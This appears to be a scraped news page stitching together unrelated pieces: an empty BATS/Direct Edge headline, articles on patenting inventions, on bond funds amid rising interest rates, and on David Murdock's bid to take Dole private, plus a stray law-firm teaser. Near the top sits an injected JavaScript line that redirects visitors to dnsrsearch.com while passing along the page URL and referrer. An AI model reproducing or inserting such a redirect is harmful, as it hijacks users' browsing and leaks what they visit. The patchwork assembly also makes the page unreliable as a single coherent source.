DealBook: BATS and Direct Edge to Merge, Taking On Older Rivals

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Shortcuts: Taking an Invention From Idea to the Store Shelf

None of us have ever gotten past the talking phase. But a lot of other people have.

Last year, the United States Patent and Trademark Office reported that 1.5 million patent applications were pending, compared with around 269,000 in 1992.

And the office issued around 270,000 patents in 2012, about 160,000 more than two decades before.

It’s very easy to believe that a multimillion-dollar invention is just a twist of a screwdriver away. Listen to the seductive radio and television ads that promise to help your invention fly off the shelves. Watch reality television shows like “Shark Tank,” where contestants vie to get businesses to invest in their idea.

While they all portray making millions off your invention as easy, it’s not, said Mark Reyland, executive director of the United Inventors Association of America, a nonprofit education organization. “It’s a business of failure.” That doesn’t mean you won’t be the next Thomas Edison, who was granted around a thousand United States patents. But just bring a little caution and a lot of skepticism to the table.

First, do some preliminary research. Google allows you to research patents at google.com/patents. You can also look at the United States Patent and Trademark Office site to see if your crazy idea has already been patented.

If it looks as if you have a unique product, file a provisional patent application with the patent office. That costs $65 to $260, depending on how many pages your patent needs, and is far simpler to do on your own than filing a formal patent claim.

A provisional patent application is good for one year and essentially protects you from someone else claiming your invention. So you have time to develop and see if there’s a market for it before going through the more onerous full patenting process.

That’s what Micaéla Birmingham of Brooklyn did when she came up with the idea of a sun shade for her baby’s stroller, fashioned out of a dish towel in her kitchen.

“That’s the great thing about a provisional patent,” said Ms. Birmingham, an urban planner. “It gives you a chance to get it off the ground.”

Filing a patent, including the necessary research, can easily run $4,000 to $10,000 — or more, said Michael Neustel, a patent lawyer in Fargo, N.D.

Do you need a lawyer? While you can make your way through the complicated and time-consuming process yourself, the patent office strongly suggests using one.

“This is not an area where people should do it themselves,” said Jonathan Putnam, a New York patent lawyer. “You need to understand prior patents and prior inventions. You need to explain how you’ve advanced the product. You need a dedicated adviser who has only your interest at heart.”

Patent agents are another option — they don’t have a law degree, but, like a patent lawyer, must pass an exam administered by the United State Patent and Trademark Office.

Ms. Birmingham said she used a friend who was a patent lawyer, spent about $5,000 on legal and filing fees and just recently received the patent for CityShade — two years after filing. The average wait between filing and receiving a patent is 29 months, according to the patent office.

While the patent was pending, she got her Web site, citymum.com, up and running and has sold 2,500 covers at $68 each ($78 for organic cotton).

The high cost of such lawyers is one reason companies advertise free or inexpensive invention help. But those services might just end up costing you more than you planned.

Nancy Tedeschi found that out. She came up with the idea of a snap-on screw to repair eyeglasses when the earpieces come off.

She filed a provisional patent application by herself and started manufacturing SnapIt Screw. But then she discovered that “the invention was the easy part,” she said. “Marketing and getting it out is horrible.”

Your Money: Taking a Cue From Bernanke a Little Too Far

You can hardly blame them. Investors have been fleeing bonds in droves; a record $76.5 billion poured out of bond funds and exchange-traded funds during the month of June through Wednesday. That exceeds the previous record, according to TrimTabs, when $41.8 billion streamed out of the funds in October 2008 and the financial crisis was in full force.

But the rush for the exits really means one thing: investors are betting that interest rates are about to begin their upward trajectory, something that’s been expected for several years now.

Their cue came from the Federal Reserve chairman, Ben Bernanke, who recently suggested that the economic recovery might allow the central bank to ease its efforts to stimulate the economy. That includes scaling back its bond-buying program beginning later this year.

So the big fear is that interest rates are poised to rise much further, driving down bond prices; the two move in opposite directions.

A Barclays index tracking a broad swath of investment-grade bonds lost 3.77 percent from the beginning of May through Thursday, according to Morningstar. United States government notes with maturities of 10 years or longer, however, lost an average of 10.8 percent over the same period.

Making a bet on interest rates is no different from trying to predict the next big drop in stocks, or jumping into the market when it appears to be poised to surge higher. These sort of emotional moves are exactly why research shows that investors’ returns tend to trail the broader market.

And it’s also why many financial advisers suggest ignoring the noise, as long as you have a smart assortment of bond funds that will provide stability when stocks inevitably tumble once again.

“It’s a futile game to base portfolio moves on interest rate guesses,” said Milo Benningfield, a financial adviser in San Francisco. “We don’t have to look any further than highly regarded Pimco manager Bill Gross, whose horrible interest rate bet against Treasuries in 2011 landed him in the bottom 15 percent of fund managers in his category that year. Investors should take a strategic approach designed around the reason they hold bonds — and then sit tight whenever hedge funds and other institutions shake the ground around them.”

The main reason longer-term investors hold bonds, of course, is to provide a steadying force. And though today’s lower yields provide less of a cushion — the 10-year Treasury is yielding about 2.5 percent — bonds still remain the best, if imperfect, foil to stocks.

“The role of bonds in a portfolio has always been to be a ballast or a diversifier to equity risk,” said Francis Kinniry, a principal in the Vanguard Investment Strategy Group. “And that is very true today. Yields are low, but this is what a bear market in bonds looks like.”

So, yes, losses are indeed more probable than they have been in recent years. From 1976 through Jan. 31, 2013, high-quality bonds yielded an average of 7.3 percent, according to a recent Vanguard , which provided a nice cushion. For instance, if you had a portfolio of 60 percent stocks and 40 percent bonds — and stocks fell by 20 percent — the overall portfolio would have lost 9.1 percent. If the market plummeted 40 percent, the entire pile of money would be worth 21 percent less.

The situation is a bit different now. Assuming a more conservative average return on bonds of 1.9 percent — a reasonable estimate based on bond yields now, according to Vanguard — the same 20 percent drop in the stock market would cause the overall portfolio to decline by about two percentage points more, or 11.2 percent. If the market plummeted by 40 percent, the portfolio would lose 23 percent.

“Investors have been conditioned by higher bond yields going into both bear markets in the last decade to believe that bonds will substantially offset stock declines,” Mr. Benningfield added.

So perhaps the loss from the bonds somehow feels worse because it’s not something investors are accustomed to. And the memories of the stock market collapse of 2008-9 are still fresh enough.

“People are using adjectives like ‘blood bath’ and ‘devastation,’ but we are talking about a negative 3 percent return,” said Mr. Kinniry, referring to the Vanguard Total Bond Market Index fund, which is down by that amount year-to-date.

Even the big bond market sell-off in 1994, which many refer to as a “massacre,” doesn’t seem quite as violent as that moniker suggests. As Mr. Kinniry points out, the same index fund lost 5.3 percent that year, after interest rates spiked by 2.83 percent. If the same sort of situation were to play out now, he said the returns would be significantly worse because bond yields are lower than they were back then. “You might lose about 8 percent,” he said, adding that losses could be deeper depending on how quickly rates rose, among other factors. But typically, “we’re talking about single-digit losses.”

Still, some advisers suggested taking a closer look at your overall allocation to stocks, particularly if you’re not well diversified, since bonds will provide less protection.

For most investors, holding bonds through low-cost index funds remains the most prudent course. People who invest in individual bonds don’t have to worry about fluctuations in their price because they can continue to hold the bond and collect their interest payments until maturity, at which point they’ll collect its face value (unless, of course, the bond issuer defaults). But you need to have a good pile of cash — some experts say $500,000, even more — to assemble a diversified portfolio of municipal and corporate bonds (though you don’t need quite as much for Treasuries, since they’re backed by the government).

You can figure out how sensitive your fund is to interest rates by looking at its duration, which essentially measures how long it will take to receive all of your money back, on average, from interest and your original investment. Generally speaking, for every percentage point that interest rates rise (or fall), a bond’s value will decline (or increase) by its duration, which is stated in years. Bond funds with shorter durations are less susceptible to interest rate risk — the faster a bond matures, the thinking goes, the more quickly you can reinvest the money at a higher interest rate.

That means a fund like the Vanguard Total Bond Market Index fund, which has a duration of 5.5 years, would decline by about 5.5 percent. But since the fund also pays investors income — it has a yield of about 1.7 percent — it would actually only post a total loss of about 3.8 percent. (Future returns would be one percentage point higher, too, thanks to the rise in rates).

But if even that feels too risky, experts say you can put some of your bond money into a diversified index fund with an even shorter duration. The trade-off, of course, is that you will earn less income. That might not matter once you remind yourself why you own bonds at all.

DealBook: Taking Dole Food Private Again Is Latest Challenge for 90-Year-Old Billionaire

Fred Prouser/ReutersDavid Murdock, the chief of Dole Food, with the actress Helen Mirren. Her 2010 film ‘The Tempest’ filmed on his private Hawaiian island.

David H. Murdock once took Dole Food private. Now the self-made billionaire is betting he can do it again.

On Tuesday, Mr. Murdock, the chairman and chief executive, offered to buy the 60 percent of Dole he did not already own for about $645 million, valuing the company at nearly $1.1 billion. It is the latest audacious move by the nonagenarian in a life full of them.

Mr. Murdock is credited with building Dole into a fruit behemoth, beginning with his 1985 deal to buy troubled Castle & Cooke, once one of Hawaii’s agricultural giants. It was the company that brought Hawaiian pineapples to the United States while also running one of the state’s biggest sugar cane operations.

Under his leadership, the company became an enormous real estate developer, with properties throughout the country. And its Dole arm, named for one of the state’s leading families, became one of the world’s biggest sellers of fresh fruits and vegetables.

Dole separated from its historical parent in 1996, and seven years later Mr. Murdock agreed to buy it for $2.3 billion. The company went public again in 2009, in an offering that valued Dole at $1.1 billion.

But Dole has sought to shake up its business in recent years, including by selling its packaged goods and Asian fresh produce arms to Itochu of Japan for $1.7 billion to focus on other parts of the world.

The business has proved volatile, however, subject to unexpected bouts of bad weather that have weighed on earnings. Last year, it lost $144.5 million, while sales declined 11 percent, to $4.2 billion.

Mr. Murdock may view Dole’s current slump as only one more obstacle for him to overcome. His life reads like a Horatio Alger story, from a modest childhood in which he dropped out of school at 14, to his period of homelessness after leaving the Army. A chance encounter with a loan company employee gave him $1,200 in loans to buy a local diner, which he sold within a year and a half for $1,900.

Mr. Murdock then turned to real estate development in the Southwest, building affordable housing, before turning to investments.

It also inspired a hard-charging entrepreneurial streak in him.

“I never had a boss in my whole life,” he told The New York Times Magazine in 2011. “I’ve totally destroyed anybody’s ability to tell me what to do.”

Mr. Murdock has parlayed that career into great wealth. Forbes estimated his fortune at about $2.4 billion as of March, ranking him No. 613 on its billionaires list.

Those riches have underpinned his other great preocuppation of late, health. He was instrumental in the construction of a 5.8-million-square-foot nutrition research facility dedicated to the proposition that a largely plant-based diet is the key to longevity.

His devotion to nutrition perhaps reflects the same tough-mindedness that he may bring to his efforts to take Dole private. From The Times Magazine article:

I experienced this during a visit in early February to his California ranch, where I joined him for lunch: a six-fruit smoothie; a mixed-leaf salad with toasted walnuts, fennel and blood orange; a soup with more than eight vegetables and beans; a sliver of grilled Dover sole on a bed of baby carrots, broccoli and brown rice.

“How did you like your soup?” he asked me after one of his household staff members removed it. I said it was just fine.

“Did you eat all your juice?” he added, referring to the broth. I said I had left perhaps an inch of it.

He shot me a stern look. “You got a little bit of it,” he said. “I get a lot — every bit I can.” He shrugged his shoulders. “That’s O.K. You’ll go before me.”

Pennsylvania Law Firm Leaders Taking a Tepid View of 2013

A new year does not necessarily mean a new beginning for law firm leaders who are anticipating 2013 looking a lot like the ups and many downs of 2012.